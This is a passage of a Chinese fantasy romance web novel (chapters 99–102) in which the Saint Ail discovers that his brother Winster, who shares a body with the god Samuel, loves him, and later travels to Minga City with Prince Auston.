那边有喝醉了的兽人在打擂台赛,亚尔林都去参与了,艾尔想问问旁边的温斯特要不要去,他一向热衷于能增长打斗经验的事情。 青年偏过头,正好对上了温斯特的双眸。 深邃的黑眸中清晰盛着银发青年的模样。 一向冷肃的人,此时唇角微弯,眼角眉梢都带了几分笑意,因为身边人的快乐而快乐。 看见哥哥想跟他说话,笑意更深。 艾尔心头一跳,不期然间想到上辈子听过的一句话—— 人生有三样东西是无法隐瞒的:咳嗽、贫穷,和…… 爱。 第099章 第 99 章 没吃过猪肉也见过猪跑, 艾尔两辈子在校园里见过很多人谈恋爱,包括他相熟的人,也脱单了好几个, 聚会的时候吃过不少狗粮。 年轻人的感情纯粹而热烈,有时候不必刻意秀恩爱, 只需要一个眼神, 一个情不自禁的笑容, 就能明显看出这个人正处于热恋之中。 而现在……艾尔看着温斯特注视着他的模样,脑子里全是情侣撒狗粮的画面锦集, 把温斯特放进去毫无违和感! 笑容渐渐消失.jpg 温斯特看得出刚才哥哥明显是想跟他说什么事, 现在却盯着自己出神, 他很好奇哥哥现在在想什么。 他喜欢哥哥的目光放在他身上,虽然对方现在注意力不在…… 温斯特也不失落, 反而美滋滋的,他觉得哥哥想事情也要看着他,不就表明了他很特殊嘛,要不哥哥怎么不去盯别人~ 他耐心的等哥哥回神, 目光描摹着他呆愣愣的可爱模样。 青年的眼睫纤长浓密, 轻颤的时候扫的温斯特的心痒痒的……好想抱住哥哥啊。 附近的欢声笑语仿佛被隔离在外,两人什么都听不见了,自成一个小世界。 等艾尔回神, 又看到那种甜的能淌出蜜来的眼神……他有很多家人, 回忆起长辈们还有堂兄堂姐们看他的时候, 跟温斯特完全不一样! 救命啊啊啊!!! 他动作僵硬的坐正身体, 不再看温斯特, 脑子乱糟糟的…… 对了,有的人天生一双含情目, 看狗都显得深情,温斯特应该就是……算了,自欺欺人不下去了,温斯特只有一双看谁谁怕的眼睛。 哦~一定是他自作多情!他就是那种什么事都会多想的人,温斯特那么直的一个大好青年,行为还不如塞缪尔gay呢。 嗯?塞缪尔…… 艾尔眼皮一跳——解释的通了。 如果说塞缪尔想gay他,那强行同居、拥抱、亲吻,大方的把宝库的财物与他分享,还有他被魅魔觊觎的时候那么生气……一切都解释的通了! 而温斯特和塞缪尔是同一个人,有着相似的性格和相同的爱好,如果其中一个是弯的,那另一个肯定也是啊!!! “哥哥,你刚才想跟我说什么吗?” 艾尔的怀疑正升到最高点,乍然听见温斯特的声音,心里慌得不行。 他干完面前的一杯酒水,可恶,这杯子也太小了,一口就没!这酒也太淡了,怎么不直接把他醉晕过去啊! 艾尔犹不死心,他琢磨了一会儿,试探着问道,“你觉得,我给你找个嫂子怎么样?” “……” 黑眸眼中的笑意瞬间冰封,勾起的唇角也放平了,方才还舒展的眉宇间此时压抑着暴戾——和心情不好的塞缪尔如出一辙。 温斯特不想在哥哥面前变脸这么快,所以他试图让自己装出刚才那种温柔的模样,但压抑着满腔酸胀的情绪不爆发出来已经很难了,温斯特实在笑不出来! 最终他只能僵硬地扯起唇角,那表情,谁看了不说一声勉强,与其说他是在笑,更像是在假装坚强,强忍着不哭。 而这一切的变化,艾尔看的清清楚楚,心脏直线下坠。 “怎么突然这么问?哥哥以前都对这种事没兴趣的,是刚才对谁一见钟情了吗?” 刚才哥哥发呆,难道就是在想那个人的音容笑貌? 温斯特的语气很轻柔,艾尔却感受到丝丝凉意爬上他的后背。 他都不敢顺势瞎扯自己真的看上谁了,直觉这样做会有人倒大霉。就算温斯特能克制自己,塞缪尔可不会管太多! “没有,我只是在思考未来,也许我们以后都会有喜欢的女孩子呢。” 温斯特斩钉截铁道:“不会,我不喜欢别人来打扰我们,对我来说,哥哥才是我最喜欢最重要的人。” “那如果我遇见了喜欢的女孩儿呢?未来的时间还这么长,这种事谁也说不准。” 闻言,温斯特手握成拳,他低垂着眉眼,掩饰着眸中的冷意,“是我不够好吗,哥哥为什么要喜欢别人呢?我们两个在一起的时间明明很开心的,不是吗?” 顿了顿,温斯特倔强地看着青年,“我什么都可以做,别人能给你的,我也能给你,我不想和哥哥分开……” 艾尔听的当即又给自己倒了一杯酒干了下去! 如果是以前,他只会当作是弟弟占有欲太强了,这孩子从小就这样,不喜欢他关心其他同龄人,艾尔只当他缺乏安全感。 而现在……这些话可以当作告白吧? 就是不知道这小子是以为自己不知情,在隐晦的告白,还是他弯而不自知。 不管是哪种,反正他确定弟弟弯掉了,接下来该怎么办?要怎么相处啊! 艾尔两辈子都是有才有貌的大好青年,接到过数不清的告白,同性也有好几个,但没有谁让他有过慌乱的感觉。 他总是模式化的走完“道谢,道歉,拒绝,夸赞对方,祝福”的流程,哪怕其中有关系还不错的朋友,在告白失败后两人渐行渐远,艾尔也不在乎。 但是面对温斯特……他很慌,归根究底,只是因为这个人远比其他所有人都要重要,艾尔不想跟他渐行渐远。 他们相互依靠,彼此信任,一同成长,就像两颗紧紧缠绕在一起的藤蔓,已经很难再分开了。 艾尔不得不承认,即便他在这个世界有事业,有信众,有很多亲友,过得充实顺遂,他生命中有很多东西,但温斯特无疑是其中最重要的。 他不是其他人的唯一,却是温斯特的唯一,从小到大都是这样,谁会不喜欢这种彻彻底底的偏爱呢? 还在利塞小镇的时候,温斯特对他的依赖就帮他对这个世界有了更强的归属感。 他也想回报给弟弟同样的重视和感情,但不是那种感情啊啊啊! 艾尔现在迷茫极了,脑子乱乱的,不知道该怎么回温斯特了,敷衍的“嗯嗯”两声,自顾自的开始一杯又一杯的灌酒喝了,根本没尝出什么味道,就是想找点事做转移一下注意力。 旁边,黑眸青年沉默地看着他,心中的怀疑更深。 明明刚才还好好的,笑得那么开心那么好看,怎么突然一副心事重重的样子…… 是不是哥哥真的看上了在场的某个异族女人,但是碍于他抗拒的心情不好明说? 是他妨碍了哥哥追求心上人,所以哥哥现在才不想搭理他吗? 幽冷目光快速打量过附近的异族女人,以人类的审美标准而言,都是相貌上佳的,但温斯特实在没看出谁足够特别,都是千篇一律罢了……而且他非常了解银发青年,哥哥不会因为相貌就一见钟情。 温斯特在脑子里筛选出这几日跟哥哥交流最多的异族女性,然后凑近身边的青年,开始温柔询问,“哥哥是喜欢上了那条叫莉迪亚的人鱼吗?” 艾尔:“……”你想做什么? 温斯特看他反应就知道不是了,又继续问,“那就是兽人伊妮德?” 艾尔叹息一声,“别问了,没有喜欢的人,我已经封心锁爱了。” “……你怎么会有这样的想法,如果跟对的人在一起,一定会很幸福的,哥哥要抱有期待啊。”温斯特可不想以后一直保持兄弟关系,他还想亲亲抱抱哥哥呢。 谁能想到温斯特的嘴里能说出鸡汤类鼓励,艾尔颇为无语地看了他一眼,因为喝了太多酒,有了几分醉意,说话便有些口不择言了,“让我期待这种事,你又不想让我和别人在一起,要我怎么办?难不成和你在一起吗?” 温斯特愣了一下,那张俊美的面容重新挂上了真心实意的笑容,他专注地看着银发青年,语气温柔似水:“如果是哥哥的话,我很愿意。” 艾尔一噎,他闭了闭眼:实锤了,他性格脾气都笔直的弟弟真的弯了!而且他看得出来,温斯特自己也意识到了这件事。 他讪笑两声,“这种玩笑你都配合哈哈。” “对了,那边在打擂台赛,兽人们天生敏锐,近战实力也强,你要去试试吗?” 温斯特确实喜欢这种能增长战斗经验的事情,他欣然应往。 艾尔独自冷静了一会儿,就被兴致正上头的精灵王拉过去搞美声合唱了。 沉浸在欢闹中时,青年没再想起刚才的糟心事儿,等夕阳完全落下,光芒被星月、萤火虫和琉璃灯替代,一点儿也不耽误宴会继续进行。 正在跟精灵幼崽们学乐器打发时间的艾尔突然一愣,意识到这个时间,塞缪尔已经出来了。 以祂的实力,是不会跟兽人们浪费时间的。 环视四周,艾尔果然在不远处的一棵树上找到了人,并恰好与祂对上了视线。 不,不是恰好,塞缪尔好像……一直在注视着他这边,就像温斯特之前那样。 回想起塞缪尔之前的种种言行,艾尔暂时不想面对这个想gay他,还吃他豆腐的家伙。 反正塞缪尔现在只要安安静静,不会搞事就行。 另一边,神明大人看见小崽子不过来找祂就算了,连招呼都不打,越发肯定有什么事发生了…… 祂没有缠上去,只是继续坐在树干上,静静地看着陪幼崽玩闹的青年,思索着他为什么态度大变。 时间已经过了午夜,再欢乐的宴会也有结束的时候,再不想面对塞缪尔的艾尔也有回屋的时候。 树屋里—— “说吧,你又在生什么气?” 在塞缪尔眼里,小崽子不理祂,就是在生气冷战,刚才回来的时候他可是沉默了一路。 “……我没生气。”只是心慌。 塞缪尔皱眉,“是因为我不让你和其她女人在一起?”小崽子态度不对劲,就是从宴会上的那场谈话开始的。 “真的没有因为这件事生气,我保证。” 艾尔吸了一口气,装作自然的聊到,“对了,今天都有精灵问我了,为什么我们两个大男人要睡一个屋子,以后总被人这么问怪尴尬的,要不……我们还是分居,啊不是…分开住吧,反正也不可能永远这样下去。” 塞缪尔指尖转着桌上的杯子,语气淡淡:“为什么不可能。” 祂沉思了一会儿,忽然撩起眼帘,看着正在努力找理由的小崽子,“你看出来了?他喜欢你。” “…………”啊啊啊你干嘛要捅破啊!!! 艾尔被神明大人一句话镇住,忽然捕捉到一条信息——塞缪尔说的是“他”,不是“我”。 青年不禁眼前一亮,抱着一丝希望问道:“你是说,温斯特喜欢我,但是你并不喜欢我,对吧?” 塞缪尔:“……”烦死了,人族一定要纠结这种肉麻话吗,直接拥抱接吻不可以吗? 艾尔一时没有等到答案,嗯?他怎么觉得……塞缪尔耳朵有点泛红。 靠!祂不会是在害羞吧?! 第100章 第 100 章 “咳…”塞缪尔垂眸盯着手里的杯子, 语气比刚才软了很多,“还是挺喜欢的。” 祂此时的模样显然是有些不好意思了,如果他们讨论的是其它话题, 艾尔一定会惊讶祂竟然有如此可爱的一面! 但事关他俩的感情问题,他只感受到了压力。 刚升起的一点希望彻底破灭, 艾尔步履沉重地走到窗户边, 手臂撑在窗沿, 开始吹着夜风发呆。 塞缪尔本来有点不满意,祂都承认喜欢了, 小崽子怎么一点高兴的意思都没有?但宽容的神明大人还是给青年留了时间去冷静一下。 安静了好一会儿, 塞缪尔皱眉, 忍不了了,催促道:“说话。” 艾尔正在发呆逃避这个离谱的世界, 闻言惊的身体一僵,随后叹了口气,“你…你们什么时候开始喜欢我的?” “不知道。”反正意识到这件事的时候是在深渊。 艾尔本来还在反省自己的迟钝,天天待在一起都没看出来温斯特和塞缪尔的心意, 现在好了, 当事人都不清不楚的,他反省个屁! 艾尔决定今晚就把事情说清楚。 “那个……对不起,我对你…没有那方面的意思。” 明明习惯了拒绝别人, 这次却格外紧张, 艾尔看着地面, 心里想着不知道他们以后会怎么相处。 白天和温斯特相处会很尴尬吧? 或者尴尬的只有他, 以温斯特固执黏人的性格, 多半会当没有听见过拒绝。 无论如何,他们也回不到以前那样舒适自然的状态了。 最让他担心的是, 塞缪尔被拒绝后会不会恼羞成怒,然后一走了之? 他必须承认,他很喜欢和温斯特、塞缪尔结伴同行的时光,想到以后他们不在身边了,艾尔甚至起了打道回府的心思。 奇怪……以前他都是一个人四处游历的,才跟他俩结伴多久,怎么会觉得他们不在会很孤单呢……明明他还有骑士和好友可以作伴的。 “嗯,我知道。”塞缪尔听到拒绝确实不大高兴,但这个结果也在意料之中,因为温斯特早就分析过小崽子对他们的感情了。 艾尔有些意外祂的反应,以塞缪尔高傲的性格,祂表现的也太淡定了! 艾尔试探着说,“那……我们以后就分开住?” 塞缪尔这回反应强烈了点,祂盯着小崽子,坚定拒绝,“不行。” 艾尔疑惑,“为什么?”这是有什么执念啊? “你讨厌和我住在一起?” “……不讨厌。” 塞缪尔点头,“那就可以一起住,住到你习惯我在身边。” 艾尔嘴角一抽,其实已经习惯了,旁边有个警觉性高的人负责安全问题,他睡觉特别香,但这种事绝对不能让塞缪尔知道! 神明大人继续说,“然后习惯牵手,拥抱,亲吻。” “……?”艾尔脑子里蹦出一句话,他木着脸喃喃道:“这是在温水煮青蛙?” 被点破了计划塞缪尔也毫不心虚,祂淡定点头,顺便问了一句,“你什么时候能被煮熟?我没什么耐心,你是知道的。” “……”你还挺实诚。 还真别说,以塞缪尔强硬的性格,居然没有在一开始就强迫自己,而且选择温水煮青蛙的追求方式,是真爱了。 咦……他是不是在自己pua自己? 艾尔又好气又好笑,感动了自己两秒钟后就清醒了,找了个借口,语气严肃道:“作为圣子,我应当以身作则,遵循教规,应平等、公正地对待所有人,不可有私心,不可恋爱成婚,我要全身心地奉献自己,拯救世间苦难!” 塞缪尔眯了眯眼,“你们教规上写的是将身心和灵魂奉献给光明神吧。” 住在教廷的时候,祂闲来无事潦草地翻过一遍那本小册子,“篡改教规?” 瞧着对方似笑非笑的表情,艾尔脸色有点尴尬,艹,绷不住了,你居然连这玩意儿都看过! 对于这段感情,拒绝无效,远离不了,接受无能,艾尔仍处于“我把你当兄弟,你居然想睡我!”的复杂心情中,他哀怨地瞪了塞缪尔一眼,转身靠着窗边继续发呆。 片刻后,身后有一道低沉撩人的声音传来,“你接受,我们两个日夜都待在一起,同住同行,你不接受,我们还是这样相处的,没什么区别,你明明很喜欢和我在一起的时间不是吗,你在纠结什么?” “……”你说的居然还有些歪理。 塞缪尔不知何时已经悄无声息的站在了青年身后,手臂搭在了他的肩上,下颌抵着他的后脑勺。 艾尔最近已经习惯了塞缪尔时不时的动手动脚,对祂现在的动作也没有应激。 青年无奈地揉着眉头,“恋爱又不止我们现在的接触这么简单。” 他转身将人推开一步,正式声明,“总之,我一直都是把你当兄弟当朋友的,对你没有那种感觉。” 见小崽子一点也没有被忽悠到,塞缪尔不满的啧了一声,双眸幽深,“试一下不就知道你有没有感觉了。” 艾尔以为祂说的试一下指的是当恋人处一段时间,随即注意到对方视线落在哪里,艾尔心中一慌就要后仰,却被一只大手挡住后脑勺,“等……唔!” 艾尔瞪大了眼睛看着那张近在咫尺的俊脸,神明大人愉悦的弯了弯眉眼,随后轻轻咬了下那柔软的唇瓣,成功让青年将注意力转移到肌肤相贴的地方。 因为不熟练,那片温热柔软一开始只是在与艾尔的唇摩挲轻吮,是完全不符合塞缪尔脾气的温柔细致风格,但祂的呼吸很快便粗重了起来。 塞缪尔毕竟是塞缪尔,骨血里都藏着进攻的欲.望,根本不满足于这点浅层触碰,力度比一开始重了很多。 艾尔察觉到祂有深入的架势,强行偏过脑袋,中断了这场接吻。 塞缪尔将放在青年后脑的手往下移,搂着他的腰身,慢慢平息心中那汹涌的冲动。 艾尔瞧着祂的眼神就像一头噬人的野兽,不禁有些脸热,慌乱道:“不…不是说要温水煮青蛙吗?!”为什么直接往他身上淋开水啊!! 塞缪尔摸了一把手感很好的银发,理直气壮地说:“我也说了我没什么耐心,而且……”祂笃定道,“你也不讨厌我的亲吻。” 否则在祂凑上去的一瞬间就被攻击了。 艾尔解释,“那是我们关系很亲密!这点触碰不至于让我讨厌。” 塞缪尔皱了皱眉,难道在小崽子眼里,关系好的都可以对他这么做? 祂从脑子里挑拣出几个人名,一一念出来,询问青年允许这个人吻他吗?允许那个人吻他吗? 艾尔:“……” 他紧紧抿着唇,眉眼间尽是嫌弃。 不行,完全不敢想,他甚至觉得那几个好友多抱他几秒都很肉麻,更别提亲吻,如果有谁这么做了,他一定会立马一巴掌把人扇飞! 塞缪尔看见小崽子的反应,心情好了点儿,低头在他眉间啄了一下,低哑着嗓音循循善诱,“你看,只有我是不一样的,你喜欢我,只是自己还没有发现而已……” 祂说的很有道理,奈何艾尔是个意志坚定的人,且一直认为自己是个直男,还没有思考过弯掉的可能,半点不受祂蛊惑。 他思考片刻,得出结论:“不,不是喜欢,我不讨厌你吻我,是因为我习惯了你离我很近,而且我确定你也是初吻,身心都干净。”他是有点感情洁癖在的,很重视这一点。 初吻?塞缪尔指尖一颤,难得心虚,却没表现出来一点异常。 “而且……”艾尔认真打量了祂几眼,点头肯定,“你长得好看。” 一个人突然被同性亲一下,会感到恶心,但是被帅到腿软的男人亲一下,只会感到震惊。长得好看的人总是更容易被包容的。 塞缪尔笑了一声,“你觉得我长得好看?” 艾尔点头,这个人身量高挑,体型健壮,肌肉紧实,偏古铜的肤色让祂多了几分野性。 那张深邃俊美的脸,不笑的时候有着逼人的锐气,而现在对着他笑的时候,又带点儿让人脸红心跳的坏和痞气。 无论是同性还是异性,都得承认这家伙长得非常帅。 塞缪尔指尖缠着青年的头发,“你还记得你之前说过的择偶标准吗?” 艾尔疑惑偏头:他们有谈过这种事吗? 每天都待在一起,聊过的话题太多,他一时真没想起来。 塞缪尔帮他回忆,“你说喜欢长得好看,独立,有自保能力,相处中不会经常闹矛盾的人,指的不就是我吗?所以你已经喜欢上我了,只是你还没意识到。” 就像祂一样,根本不清楚自己什么时候看上小崽子了。 艾尔想起来了,这是他在深渊中随口跟温斯特说过的话。 看着对方带着点得意的表情,他深深觉得,再聊下去,就真的要被塞缪尔洗脑了!!! 他差点儿心累到直接把头倒在塞缪尔的肩膀上,还好及时反应了过来,否则这家伙又能多一个他喜欢祂的证据了。 将快贴到自己身上的某神推开,艾尔绕过祂坐在桌边,打算结束这场关于喜欢的话题。 “你去睡觉吧。” 塞缪尔不满道:“你今晚不睡了?”不满在于自己等会儿要独守空床了。 艾尔幽幽地看了祂一眼,“睡不着,我看会儿书。” “那你大概要等多久才会承认你也喜欢我?” “你可饶了我吧……” 一天内发现弟弟弯掉,暗恋对象是自己,然后就迅速接受这件事并同意在一起吗? 他哪有这么心大啊?! 不过塞缪尔倒是让他大开眼界,那个初见时以冷漠对待整个世界的神明大人,喜欢上一个人是这样的吗? 挺可爱的,只是他现在还在消化今天的事情,没有心力聊下去了。 艾尔指着床,“你,现在,马上,去睡觉!” 啧,小崽子以前只会哄着祂顺着祂,轻声细语的跟祂说话,现在都敢指挥祂了…… 塞缪尔走过去,揽着青年的腰往床边走,“我睡,你就坐我旁边看书。” 若不是还要解封记忆,塞缪尔才不做睡觉这种浪费时间的事,祂还想继续和小崽子掰扯呢,让他早点认清自己的心意。 艾尔无奈的顺着祂的力道往前走,也行吧,反正一起躺了这么久了,也不差今天。 —— 因为两个意识已经融合了很多,温斯特和塞缪尔已经能清晰的体会到对方的心情和感官,而不是像以前那样只记得对方做了什么,说了什么。 温斯特醒来的时候,看着坐在桌边已经洗漱好的哥哥,脑子里控制不住的全是昨晚亲吻时的画面,塞缪尔感受到的美好和不满足,还有心跳加速的瞬间,他一样能感受到。 回想起塞缪尔对哥哥说的话,温斯特觉得很有道理,哥哥一定也是喜欢他的,只是像他之前那样,还没有意识到而已! 这么一想,温斯特还没起床就开始高兴了! ——毕竟是同一个人,塞缪尔有的绝对自信和自恋,温斯特也是有的。 艾尔感受到炙热的目光,一转头,就看到温斯特躺在被窝里对着他傻笑。 “……”是他失忆了吗,他记得昨晚自己是拒绝了告白,没有答应吧? 100-110 第101章 第 101 章 温斯特见哥哥看向了他, 不由笑得更甜,“哥哥,早安。” “嗯, 早…” 艾尔心不在焉地回复了他,思考着是不是塞缪尔的庞大意识出现的时间太多, 身体撑不住, 伤了脑子? 不然他养的小狼崽弟弟怎么好像变成了傻狗? 温斯特下床, 鞋也没穿地走向银发青年,站在他身边低着头, 像是在认错。 “我不想吓着哥哥, 所以一直没有坦白, 没想到被哥哥发现了……”他感叹着,“哥哥真的很聪明。” 青年扶额, 一大早的就要开始这个糟心话题了吗? “去收拾一下,我们等会儿要离开了。” “好。”温斯特踌躇片刻,还是没舍得挪步,他有些好奇, “哥哥是怎么发现我喜欢你的?” 他本来打算温水煮青蛙的, 想等哥哥离不开他了再坦白,还没想过哥哥会提前察觉到,万幸结果不算糟糕, 哥哥并没有生气。 艾尔一愣, 说起这件事, 他忽然觉得有必要提醒温斯特一下。 青年神色复杂地看着弟弟, “你当着别人的面, 别用这种眼神看我。”但凡是个有感情经验的,或者心思敏感的人, 都很容易察觉到这小子的心意。 “啊……?” 温斯特不解,他觉得自己看哥哥的眼神只是温柔啊,这有什么可落人口舌的? 艾尔手一晃,从空间戒指里拿出个镜子摆在温斯特面前。 温斯特看清自己神情的那一瞬间,就明白了哥哥是怎么发现他的心意的。 他可以控制自己的嘴巴不坦白,但他控制不了只要和哥哥待在一起,心就会变得柔软,愉悦,甜蜜,这些情绪都会从他眼中流露出来。 温斯特勉为其难道,“有外人在的时候,我会尽量不看哥哥。” 艾尔满意点头,“快去清理一下自己。” 温斯特利落的洗漱完,收拾好行礼,准备好出门了。 艾尔的手已经落在了门栓上,忽然一道身影逼近,额角感受到了一片温热。 他错愕地看向站在身侧的人,有点不敢相信一向对待他小心谨慎,半点都不会违背他意愿的温斯特,居然会擅自亲他?! 哦……毕竟和塞缪尔有差不多的性格和行为模式,也不奇怪。 本来有些气闷的,但某人此刻笑得很乖,艾尔火气一下就散了,算了算了,只是额角而已,以前又不是没有亲过……嗯? 艾尔忽然想起在深渊神殿的时候,温斯特就吻过他额头,现在看来,这小子当时就是在演戏占他便宜! “哼!”艾尔瞪了他一眼,推开门出去了。 温斯特抬手捂住有些痒痒的心脏,深吸了一口气——哥哥生气的模样可真漂亮,带着火气看他的眼神就像藏了钩子一样……好想抱住哥哥,将他揉进身体里。 艾尔不知道温斯特此时激荡的心情,他心虚地环顾四周,很好,没看到有其他人。 他从来没这么庆幸过,自己挑选的骑士非常勤快,亚尔林习惯每天很早就出去练剑,而不是守在他门口,这样就不会看到温斯特和他从一个屋子里出来了。 以前还好,自从他昨天知道温斯特的心思后,生怕有人怀疑他俩。 他有些不爽,为什么心动的那方坦坦荡荡,自己这个被追求者反而心虚…… 找到亚尔林和昨晚被一个长得极耀眼的精灵哄走的小龙崽,一行人便告别了精灵族。 海因里希抱了抱银发青年,温声道:“我的朋友,欢迎你常来做客。” 艾尔:“我会的,陛下,多谢大家的热情款待,在古森的这几日我们很开心。” 他又摸了摸抱着自己自己大腿的小幼崽的脑袋,“莫里,下次我来的时候,要检查你学习进度的,好好努力啊,千万别学你菲比姐姐私自离开森林,知道吗?” 这暗系天赋要是被发现了,怕不是在被上交教廷之前就被恐慌的民众乱棍打死了。 幼崽软乎乎地回话:“好哦~艾尔哥哥要快点回来看我们呀!” “哼~”树后传来一道不满的声音,是菲比想要来送艾尔哥哥,又别扭的不好意思出来。 艾尔好笑地看了树后一眼,道了声再见,轻盈地跃上了魔龙的背脊,旅程将继续。 —— “是,我已经离开了,一切都很顺利,您不要担心。” “我提前了几天到了西莱古森,已经打探过了,还是没有光系和暗系精灵出生。” “对,我契约了一头魔龙,现在正是它载着我们呢。” “暂时不打算回王城,我和骑士们都还需要成长,王城太安全了,我们很难进步的。而且我也想顺便查看一下各个分庭的神官们,有没有遵循教规,替吾神拯救苦难。” “派圣骑士过来?不用了,我们会小心隐藏好自己的身份,不会引来那名可怕的凶手。我认为多几位圣骑士保护,反而更引人注意,容易被发现行踪,不是吗?” “当然了主教阁下,我会告诉您分庭的情况,如果发现有神官阳奉阴违,我会认真处理。” 艾尔捧着水晶球,和坐镇主教廷的埃德加主教聊了一会儿,汇报了西莱古森之行的情况。 他犹豫了一下,想着教皇只和埃德加主教联系最深,如果想知道那位的行踪,只能问主教了。 “我前段时间听说过有个人救治了很多民众,听他们形容,像是教皇冕下出手了,真可惜我们晚了几日,与冕下错过了,主教阁下知道那位离开王城,是有什么要紧事吗,需要我帮忙吗?” 他说的当然是客套话,只是想问出行踪,然后尽量避开教皇的方向罢了,谁会想在旅游路上遇到上级啊! “嗯?艾尔,你一定是误会了,那个人不会是冕下的,你离开之后,冕下便回到了他的小殿潜心修行了。” 埃德加提到他最敬佩的主教时,不禁露出几分笑意,“他在修行这方面一直很努力,等再次突破境阶之时,吾神便会接引他去往神域了,这一直是冕下最渴望的事情。” 艾尔心有疑惑,却不动声色的继续聊天,“那看来我是真的误会了。” 等两方的水晶球断开画面,青年屈指抵着唇,细细思索—— 光系天赋者就那么几个,加上那小孩儿形容的长相,是教皇无疑了,但是他为什么会隐瞒自己的行踪呢? 整个教廷,谁有资格管他做什么,谁有他自由呢? 听闻教皇自从步入法神境阶,就很少现于人前了,他多数时间都在闭关修行,现在看来,恐怕还抽了不少时间出去晃悠。 还有一点很矛盾,如果教皇真的经常在外游历,不可能没发现教廷是个藏污纳垢的地方,他又不是埃德加主教那种又宅又单纯的人,很容易注意到许多神官都不够虔诚。 这就罢了,他们没少打着光明神的名义骗取钱财、美色,仗势欺人,教皇为什么不清理? 如果说教皇是和他一样,对神明没什么敬畏之心,这才懒得帮光明神传播信仰、发展信徒,这还说得过去。 但是艾尔已经见过许多的真信徒,伪信徒,他能分辨出来,教皇绝对是属于狂信徒那一类。 每次提到神明的时候,那副像是面具的笑容都会真诚很多,每次看到那尊巨大的雕像,教皇眼中的情绪在那张温和俊秀的脸上显得格外炽热…… 就算他说甘愿为神明奉献所有的一切,包括生命,艾尔也是信的。 但是他又不怎么管理举着光明神旗号的教廷,就很奇怪,难不成是他看走眼了,教皇实际上是个影帝? 毕竟相处时间不多,艾尔对教皇没什么了解,哪怕琢磨个三天三夜也想不出缘由了。 他不再去想教皇的事,只衷心祝愿他早日实现梦想,快点进神域和光明神作伴,这样自己头上的大山就少了一座,就可以着手于教廷的改革了。 后面两日赶路的时间,艾尔又陆续和家里人、学院的朋友们聊了会儿,除了联络感情外,大家都走南闯北的,可以给他提供一手情报,方便他制定游历路线。 常年不见踪影的大主教们也一一联络了他,毕竟是未来的顶头上司,关系还是要拉的。 顺利到达了在宴会前就定好了的目的地,哦…除了塞缪尔和温斯特在没有别人在的时候,变得比以前更黏糊,还时不时亲他一下,让他心力交瘁外,一切都很顺利平淡。 明伽城,杜香旅馆—— 温斯特看着勾着哥哥肩膀,整个人都贴上去的奥斯顿王子,脸色极差。 倒不是因为这点接触就吃醋了,他清楚哥哥和王子没那个可能。 只是一想到以后会多个人结伴同行,还是个和哥哥关系好的,话多的,很会抢占哥哥注意力的家伙,温斯特就恨得咬牙切齿! 多个亚尔林就罢了,毕竟他话少,还能把魔龙扔给他带,免得龙崽影响晚上的二人世界,但是奥斯顿……温斯特气闷,不知道哥哥为什么要联系他过来汇合。 被奥斯顿追问了一会儿精灵族的事,艾尔开口:“你比我们早到三天,说说明伽城是什么情况?” 此问一出,不知道王子殿下想到了什么,嘴角勾起抑制不住的笑容,凑到银发青年的耳边贱兮兮地问:“我的朋友,你相信爱情吗?” “?!” 艾尔一僵,第一反应是奥斯顿发现了温斯特的心意,在调侃他。 好悬克制住了转头往旁边看某人的冲动,他木着脸瞥了王子殿下一眼,那熟悉的傻笑…… “你陷入爱河了?” 奥斯顿拍了拍他的肩,“我兄弟就是聪明!” 艾尔悄悄舒了一口气,没有看出温斯特的事情就好。 他真心实意道:“祝你幸福,对了,那位小姐是谁,我认识吗?上次叫你过来汇合的时候你怎么不说呢,早知道就放你继续跟你恋人甜蜜了。” “咳…”奥斯顿眼神有些躲闪,第一次动心的王子殿下有些羞涩,“我还没开始追求呢,说起来多亏了你叫我来明伽城,不然我也不会遇见金佰莉,我从来没见过这么美的女孩儿!” “哦对了…”奥斯顿突然握拳砸了一下桌子,“你之前不是让我提前来明伽城看看分庭是什么情况?你听说的事情是真的,那几名神官真的诱骗了不少漂亮女孩儿长住在教堂,我可怜的金佰莉,她被污蔑成恶魔附身,被主教强行带到了分庭,如果不是城主去要人,金佰莉还不知道会怎么样!” 艾尔挑眉,“亲自去救人,这里的城主这么关心子民吗?”真是稀奇。 奥斯顿面露不屑,“哼!什么关心子民,跟那群神官一样,都是见色起意的家伙。” “不过也多亏了城主府和分庭互相揭短,闹得人尽皆知,被泼到金佰莉身上的污水才能洗清。” 银发青年懒洋洋的撑着下颌,“你对那个女孩儿一见钟情?” 被问到自己的感情,正在生气的奥斯顿立马又害羞了起来,“嗯…嗯!” 艾尔颇为无语,“那你不也是见色起意?” 他还真有些好奇,“我倒要看看长得有多美。” 话音刚落,艾尔就感受到一道灼热的视线,偏头往桌对面看去,正是冷着一张脸的温斯特,艾尔居然硬生生的从他阴沉的神色中看出了委屈! 他立马找补:“我看容貌最盛的人鱼和精灵都没感觉,你的金佰莉也一定吸引不到我,我要见她一面问点事情,放心,我绝对不会成为你的情敌的。” 奥斯顿:“……我还没想过这件事,你提醒我了,要不你穿上斗篷,戴上帽子把脸遮起来?” “行行行。” 余光看见温斯特的脸色好看很多了,艾尔悄悄舒了一口气,刚才要不是反应快,迎接他的就是需要被哄的温斯特和塞缪尔了。 咦,等等……又没谈恋爱,他干嘛要管这俩家伙是不是吃醋了? 青年单手掩面,他对温斯特和塞缪尔都狠不下心,这几日处的跟谈恋爱没多大区别了。 第102章 第 102 章 艾尔会来这座城市, 是因为亚尔林之前去西莱古森的时候路过了这里,顺耳听民众谈及了最近发生的一些事,与分庭有关, 他便记了下来,交给圣子殿下处理。 因为在赶路, 亚尔林没有时间去仔细调查, 艾尔便用水晶球联络了正无所事事四处游走的王子殿下, 让他提前来明伽城打探一番。 打死艾尔他都想不到这家伙居然搞了个一见钟情出来! 此刻,说起要去见心上人, 奥斯顿就有些坐不住了, 兴奋地催促刚坐下不久的兄弟现在就走。 艾尔将一头显眼的银发束了起来, 此时又披上了朴素无华的黑斗篷,宽大的帽檐遮住上半张脸, 显得不那么引人注意了,绝对不会抢了旁边金发绿眸的王子殿下的风头。 奥斯顿满意地拍了拍好兄弟的肩,真讲义气! 随即奥斯顿又纠结地看着好友的两名骑士……算了,亚尔林太无聊, 温斯特脾气臭, 威胁不大,跟这俩连话都谈不下去,金佰莉小姐应该不会看上他们的! “快走快走。” 艾尔被揽着肩膀往前推, “去那位小姐的家里吗?” “不不不, 你看太阳快落山了, 我们去吃晚餐!” “?” 就在旅馆的同一条街, 艾尔看着前面熟悉至极的店名, 还有熙熙攘攘的人头,深深的疑惑了——他的连锁饭馆生意很好, 但卖的食物对平民而言算是小贵,他还没见过这么多人挤在门口,迫不及待想进去送钱的样子。 这家分店做了什么? 再仔细一看,好家伙,门口一排身穿教廷骑士制服的人,和城主府的护卫正在守门,不让人涌进去。 